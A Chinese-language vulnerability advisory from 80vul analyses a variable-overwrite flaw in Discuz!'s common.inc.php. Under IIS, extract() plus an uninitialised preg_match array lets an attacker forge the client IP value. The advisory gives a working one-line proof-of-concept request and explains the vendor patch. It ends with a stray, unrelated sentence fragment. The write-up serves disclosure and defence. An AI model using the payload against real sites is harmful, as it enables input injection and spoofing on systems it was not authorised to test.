author: 80vul-Bteam:http://www.80vul.com一 分析
文件include/common.inc.php里:
$magic_quotes_gpc = get_magic_quotes_gpc();
@extract(daddslashes($_COOKIE));@extract(daddslashes($_POST));@extract(daddslashes($_GET));//覆盖变量,这里我们可以覆盖$_SERVERif(!$magic_quotes_gpc) {$_FILES = daddslashes($_FILES);}
…..
if(getenv(HTTP_CLIENT_IP) && strcasecmp(getenv(HTTP_CLIENT_IP), unknown)) {$onlineip = getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR) && strcasecmp(getenv(HTTP_X_FORWARDED_FOR), unknown)) {$onlineip = getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR) && strcasecmp(getenv(REMOTE_ADDR), unknown)) {$onlineip = getenv(REMOTE_ADDR);} elseif(isset($_SERVER[REMOTE_ADDR]) && $_SERVER[REMOTE_ADDR] && strcasecmp($_SERVER[REMOTE_ADDR], unknown)) {$onlineip = $_SERVER[REMOTE_ADDR];}//提取ip,首先尝试getenv()取,如果失败就通过$_SERVER[]来取.preg_match(“/[d.]{7,15}/”, $onlineip, $onlineipmatches); //注意这个preg_match()的第3个参数$onlineipmatches并没有初始化,同时程序员没有判断preg_match函数的返回值,这样在某些特定情况下可能导致绕过正则的判断,//可以任意构造$onlineipmatches.具体详见[PCH-002]里关于preg_match()的详细分析:http://www.80vul.com/pch/
$onlineip = $onlineipmatches[0] ? $onlineipmatches[0] : unknown;unset($onlineipmatches);
利用iis下getenv()失效,然后通过extract()覆盖$_SERVER的变量,导致preg_match(“/[d.]{7,15}/”, $onlineip, $onlineipmatches);匹配失败,导致我们可以任意提交$onlineipmatches[].
二 利用
POC:
//在iis环境下index.php?_SERVER[REMOTE_ADDR][]=1&onlineipmatches[]=80vul
三 补丁[fix]可以看出来上面的漏洞需要几个条件:
1.需要iis环境,导致getenv()失效2.需要覆盖$_SERVER的变量3.preg_match()的变量没有初始化
所以我们的补丁围绕2,3来解决.Discuz!在5.50以后的版本中通过修补”2.需要覆盖$_SERVER的变量”,从而不受此漏洞影响:
foreach(array(_COOKIE, _POST, _GET) as $_request) {foreach($$_request as $_key => $_value) {$_key{0} != _ && $$_key = daddslashes($_value);}}//$_key{0} != _ 禁止了_开头的变量覆盖 🙂
就是对虚怀若谷谦虚谨慎八个字真正理解的人,